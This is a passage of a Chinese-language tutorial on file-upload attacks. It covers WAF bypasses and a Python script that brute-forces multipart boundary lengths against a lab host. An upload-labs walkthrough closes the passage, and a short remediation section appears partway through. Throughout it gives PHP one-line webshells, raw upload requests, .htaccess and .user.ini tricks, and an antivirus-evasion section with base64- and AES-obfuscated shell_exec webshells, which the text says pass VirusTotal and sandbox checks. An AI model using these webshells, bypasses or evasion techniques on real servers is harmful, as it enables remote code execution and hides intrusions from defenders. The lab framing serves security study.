Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

5.5.4 multipart/form-data与boundary之间插入垃圾数据

刚才讲到过multipart/form-databoundary之间可以插入任何数据,那么就可以在multipart/form-databoundary之间加入大量垃圾数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

5.6 数据截断

5.6.1 回车换行截断

POST请求体是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过。

1
2
3
4
5
6
7
8
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"

5.6.2 分号截断

若WAF匹配文件名到分号截止,则可以绕过。

1
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"

5.6.3 引号截断

php<5.3 单双引号截断特性。

1
2
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

5.6.4 00截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]代替16进制的00字符

1
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"

5.7 安全狗绕过

WAF:网站安全狗(Apache版)v4.0.3025

干货 | 最全的文件上传漏洞之WAF拦截绕过总结:https://cloud.tencent.com/developer/article/1944142

5.7.1 编写脚本利用数据溢出绕过

在boundary字符串后加入大量垃圾数据。使用python2.7编写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#! /usr/bin/env python
# _*_ coding:utf-8 _*_

import requests
import random

url="http://hackrock.com:813/Pass-01/index.php"

def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str

for i in range(10,8000,50):
stri = generate_random_str(i)
try:
headers = {
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
}
payload = """
------""" + stri +"""
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>

------""" + stri + """
Content-Disposition: form-data; name="submit"

上传
------""" + stri + """--

"""

response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print "\n"
#print payload
#print headers
if result.count('上传'):
print "Length is : %s " % str(i)
break
except:
print "."

测试长度为3710个字符。

将构造好的数据包放进Burp尝试发送。

5.7.2 利用00截断绕过

上传文件,使用Burp抓包,将filename的值改为:shell.php;.jpg

然后打开hex,(分号的16进制为0x3b)修改16进制内容,把3b改成00。

发送数据,成功绕过。

6 安全修复

后端验证:针对后端验证的可以采用通过服务器进行验证。

后缀检测:利用黑白名单进行过滤,当然最好是使用白名单,黑名单有时候总归会存在一些未想到的后缀,而白名单就相对简单一点,只需要想放通哪些后缀即可,而且防范更好一些。

上传目录:对上传文件到的目录可以设置一个不可执行的权限。

文件名:针对文件名可以自定义一些随机数以及一些其他的内容进行二次修改,从而改变文件的名称。

内容检测:可以使用文件头,完整性检测,最好能够对内容的数据进行判断是否存在一些webxshll类似的代码,若出现这类代码,直接删除。

7 图片马制作方法

方法一:CMD方法

1
copy /b test.png+1.php muma.png

方法二:直接使用工具增加备注写入一句话木马。

edjpgcom.exe

8 Webshell免杀

webshell通常可分为一句话木马,小马,大马,内存马。

  1. 一句话木马是最简单也是最常见的webshell形式,这种木马体积小,隐蔽较强,免杀相对容易;

  2. 小马是功能较为简单的Webshell,但比一句话木马稍复杂,可能会包含一个简单的文件管理界面或命令执行功能;

  3. 大马是功能全面的webshell,通常带有图形用户界面,提供文件管理、数据库操作、命令执行等多种功能,比如常用的蚁剑,冰蝎,哥斯拉等,大马由于功能复杂,在做免杀时一般需要将大马伪装成合法管理工具,分解成多个独立模块,分别加载,降低单点检测风险;

  4. 内存马是一种驻留在内存中的恶意代码,通常通过修改服务器进程的内存空间来执行,极难被发现和删除。与一般的webshell木马不同,内存马免杀一般需要采用内存隐藏,动态注入等方式,尽可能的隐藏恶意代码在内存中的存在,降低被持久发现的风险。

8.1 可变变量绕过

一些安全检测机制会直接扫描代码中是否包含敏感函数调用,对此可以把敏感的函数名隐藏在可变变量中。

下面通过把 shell_exec 隐藏到可变变量中实现:

1
2
3
4
5
<?php 
$v="x";
$$v="shell_exec"; #相当于是 $x="shell_exec";
echo $x($_GET['xxx']);
?>

河马查杀能检测出来。

单纯的可变变量特性一般过不了杀软,该方法通常需要和其他绕过方法配合使用。

8.2 各种加密绕过

将特征函数先用某种加密方式加密,再解密。

比如简单的base64加密:

在木马中把密文解密后调用:

1
2
3
4
<?php 
$v=base64_decode("c2hlbGxfZXhlYw==");
echo $v($_GET['xxx']);
?>

简单的加密过不了杀软,还是能被检测出来。

但是,可以考虑和代码混淆一起使用。在代码中加入与主要功能无关的代码,可以干扰分析工具和反病毒软件的检测,提高隐蔽性。

在此基础上,增加safe_waf和Safe两个无用函数并调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 
function safe_waf(){
$data1 = "1qazxsw23edcvfr45tgb";
$data2 = "1qazXSW@3edcVFR$6yhn";
$data3 = "!QAZxsw2#EDCvfr4%TGB";
for ($i = 0; $i < 10; $i++) {
$data1[$i % strlen($data1)];
}
$a = 5;
$b = 10;
$c = $a + $b;
$a_safe = array();
for ($j = 0; $j < 10; $j++) {
$a_safe[] = md5($j.$data2);
}
return $c;
}

function Safe(){
$t = "1qazxsw23edcvfr45tgb";
$result = strrev($t);
return $result;
}

function DD($Data) {
return base64_decode($Data);
}
safe_waf();
echo DD("c2hlbGxfZXhlYw==")($_GET['xxx']);
Safe();
?>

修改后可以过通过河马。然而可以被云沙箱检测出来(安恒云沙箱)。

此外,加密函数可以考虑采用更复杂的加密,比如AES加密

首先写一个加密代码,在本地生成一个key和密文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function generateKey($length = 32) {
return openssl_random_pseudo_bytes($length);
}
function encrypt($data, $key) {
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
$ciphertext = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $ciphertext);
}

$key = generateKey();
$original_data = "shell_exec";
$encrypted_data = encrypt($original_data, $key);
echo "key = " . bin2hex($key) . "\n";
echo "Encrypted Data: " . $encrypted_data . "\n";
?>
1
2
key = 88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4
Encrypted Data: xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=

然后在木马中传入密文和key,并写一个解码函数:

1
2
3
4
5
6
7
8
9
10
11
<?php
function DD($Data, $k) {
$data = base64_decode($Data);
$len = openssl_cipher_iv_length('aes-256-cbc');
$iv = substr($data, 0, $len);
$c = substr($data, $len);
return openssl_decrypt($c, 'aes-256-cbc', hex2bin($k), OPENSSL_RAW_DATA, $iv);
}

echo DD("xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=","88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4")($_GET['xxx']);
?>

该样例可以逃过安恒的沙箱查杀。试一试河马和VT,也可以通过。

8.3 传参绕过

可以把传入的函数名写在请求中获取,通过将函数名动态地从外部传递。

1
2
3
4
<?php
$v=$_GET['func'];
$v($_GET['xxx']);
?>

此时可以把func传参为system,把xxx作为命令。

1
http://192.*/test.php?func=system&xxx=echo hack

该方法可以与回调函数结合:

1
2
3
4
5
<?php
$f=$_GET['func'];
$v=$_GET['xxx'];
call_user_func($f,$v);
?>

结合前面的加密绕过思路,加密call_user_func函数:Y2FsbF91c2VyX2Z1bmM=

1
2
3
4
5
6
7
8
<?php
function DD($Data) {
return base64_decode($Data);
}
$f=$_GET['func'];
$v=$_GET['xxx'];
DD("Y2FsbF91c2VyX2Z1bmM=")($f,$v);
?>

该例子仍能被河马查杀。可以采用更复杂的加密函数尝试。

8.3 传参混淆

使用php中的分隔函数,用某个符号把传入的参数做一个分隔,再结合回调函数调用执行。

1
2
3
4
5
6
7
<?php
function DD($Data) {
return base64_decode($Data);
}
$a = explode("!",$_GET['s']);
DD("Y2FsbF91c2VyX2Z1bmM=")($a[0],$a[1]);
?>

攻击者可以传入 ?s=system!echo hack 达到目的。

1
http://192.*/test.php?s=system!echo hack

该方法可以避开河马查杀。 VT上通过所有杀软。沙箱检测也顺利绕过。

9 upload-labs 21关

Pass-01 前端检验绕过

js对上传做了限制,将相应的js语句删掉,或者将js禁用。


Pass-02 MIME类型

用burp进行抓包,修改信息头。

Content-Type: application/x-php修改为Content-Type: image/jpeg


Pass-03 黑名单绕过之php3、php5

文件的后缀名进行了限制。

1
$deny_ext = array('.asp','.aspx','.php','.jsp');

但是,在php中,.php3、.php4、.php5、.pht、.phtml、.phps 的文件都会被解析为 php 文件。

因此,我们需要将原来的kali.php改为kali.phtml即可。当然这种方法也只有低版本的php中才能复现。

可以上传.php5文件,但该文件不一定能够执行。


Pass-04 黑名单绕过.htaccess和文件名叠加特性绕过

.htaccess

环境:Apache,没限制.htaccess文件。

.htaccess 是配置文件,通常位于网站的根目录或特定的文件中,并影响该目录及子目录。每个目录都可以有这个文件。.htaccess文件可以通过文本编辑器直接进行修改或创建,且修改后会立马生效,不用重启。

1
2
3
4
5
6
7
8
9
10
11
12
13
文件名:.htaccess

上传给Apache的任意文件类型,都当作php文件来解析
<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>

# 将后缀名为 h-t-m 的文件解析为 php 脚本执行
AddType application/x-httpd-php .h-t-m
# 将后缀名为 h-t-m 的文件用 php处理器 来处理,效果同上
AddHandler php5-script .h-t-m
# 将所有文件解析为 php 脚本执行
SetHandler application/x-httpd-php

这一步phpstudy8.1失败,phpstudy2018成功


分号配合IIS解析漏洞

环境:IIS

muma.asp;.jpg可以绕过图片限制,含有“.asp”,可以当做asp文件正常解析。


冒号配合PHP和Windows文件命名环境的叠加特性

利用PHP和Windows环境的叠加特性,在Windows直接修改文件名称,不能直接加冒号。我们先以图片的格式上传,然后抓包,修改文件名称,加上冒号,上传一个名为123.php:.jpg的文件。

但是,这样上传的是0KB的123.php文件。在抓包工具中将文件名改为123.<123.<<<123.>>>123.>><后再次上传,重写123.php文件内容,WebShell代码就会写入原来的空文件中。

这种方式分两步:1.上传文件;2.追加写入内容。


Pass-05 .user.ini

黑名单中没有.iniphp.ini 是 php 的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

注意:该pass要求php版本大于等于5.3.0版本

CGI/FastCGI模式

创建 .user.ini 文件,内容为:

1
2
auto_prepend_file=userini.baidu
//指定一个文件,自动包含在要执行的文件后。

上传.user.ini

上传userini.baidu文件,内容为一句话木马。

再访问上传目录下的readme.php(经测试,任意php文件都可以),即可将userini.baidu内的内容脚本正常执行。

例如:http://localhost/upload-labs/upload/readme.php


Pass-06 大小写绕过

上传时后缀.php改为.phP等大写字母。

用蚁剑测试时,CGI模式失败,Apache模式成功。

Pass-07 空格点

环境:Windows

抓包,文件名后缀.php改为.php .,上传后,服务器文件名后缀还是.php。

Pass-08 空格点、点空格

环境:Windows

抓包,文件名后缀.php改为.php ..php.空格 ,上传后,服务器文件名后缀还是.php。

Pass-09 基于文件流特性::$DATA绕过

Windows下ntfs文件流特性。

源代码没有以下限制:

1
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA(源代码没有这句)

抓包,文件名后缀.php改为.php::$DATA ,上传后,服务器文件名后缀还是.php。

Pass-10 点空格点

抓包,文件名后缀.php改为.php. .,上传后,服务器文件名后缀还是.php。

Pass-11 双写

1
$file_name = str_ireplace($deny_ext,"", $file_name);

方法一

直接上传1.pphphp木马文件,上传后,服务器文件名后缀还是.php。

方法二

上传1.php木马文件,抓包拦截,修改filename为1.pphphp,上传后,服务器文件名后缀还是.php。

Pass-12 %00截断

php版本调至5.2.17

php magic_quotes_gpc=Off

当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000 的形式。

而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险。

这是因为php语言的底层是c语言,而\0在c语言中是字符串的结束符,所以导致00截断的发生。

点击上传1.jpg木马图片,抓包拦截,在POST的路径后加上1.php%00,后面不管是什么东西都会被截断掉,然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径。即把上传的木马图片内容存到1.php中。最后upload目录下保存了1.php文件。

Pass-13 00绕过

php版本调至5.2.17

php magic_quotes_gpc=Off

本关接受值从get变成了post,它俩的区别就是get会自行解码,而post不会解码,所以需要对%00进行解码。所以在这一关我们就需要在web.php后面加一个占位符,将其16进制改为00(空字节),这样控制符就出现了,最后在上传文件的时候就会触发\00截断。

上传1.jpg木马图片,抓包拦截,在下方../upload/后加上1.php%,点击Hex,以16进制模式浏览,找到php后面的%,将其16进制换成00,上传后,服务器文件名是刚才指定的1.php。(上传php文件也可以,只要内容是木马就行,然后filename改成后缀为.jpg来通过白名单,在/upload/后指定一个php文件名,再跟一个字符,在Hex模式中将这个字符改为00就行了)

Pass-14 图片🐎

1
2
3
cmd执行
copy /b test.png+1.php muma.png
test.png普通图片|1.php木马|muma.png图片马

Pass-15 图片🐎

同Pass-14。

Pass-16 图片🐎

php开启php_exif,上传图片🐎。

利用include.php?file=图片路路径加载即可。

1
2
例如:
http://localhost/upload-labs/include.php?file=upload/8720240816064213.png

Pass-17 二次渲染

php开启php_gd2。

Pass-18 条件竞争

1
2
3
4
5
6
7
8
该代码执行后新建一个包含木马的文件
<?php
$myfile = fopen("qing.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);
?>
//txt中一般写一句话木马

Burp Intruder创建两个,一个发上传php文件,一个发访问php文件,赶在服务器删除文件之前访问并生成木马文件。

在 Intruder 下的 Positions 页面可以看到我们上传文件抓到的包,我们只需一直发送这个包即可。首先在 Positions 页面点击clear §,转到 Payloads 页面修改 Payload type,选择 Null payloads。之后该页面就会多一个条目 Payload Option [Null payloads],这里选择 Continue indefinitely(无限重复)。

Pass-19 条件竞争之重命名竞争

环境:老版本Apache(2.x之后为新版本)

Apache默认把.7z后缀的文件当做php解析。

muma.php.7z

Pass-20 /.

上传php,保存名称直接在文件名末尾加上 /.

Pass-21

来源于CTF,审计代码。

渗透测试 黑盒测试

代码审计 白盒测试

灰盒测试 黑+白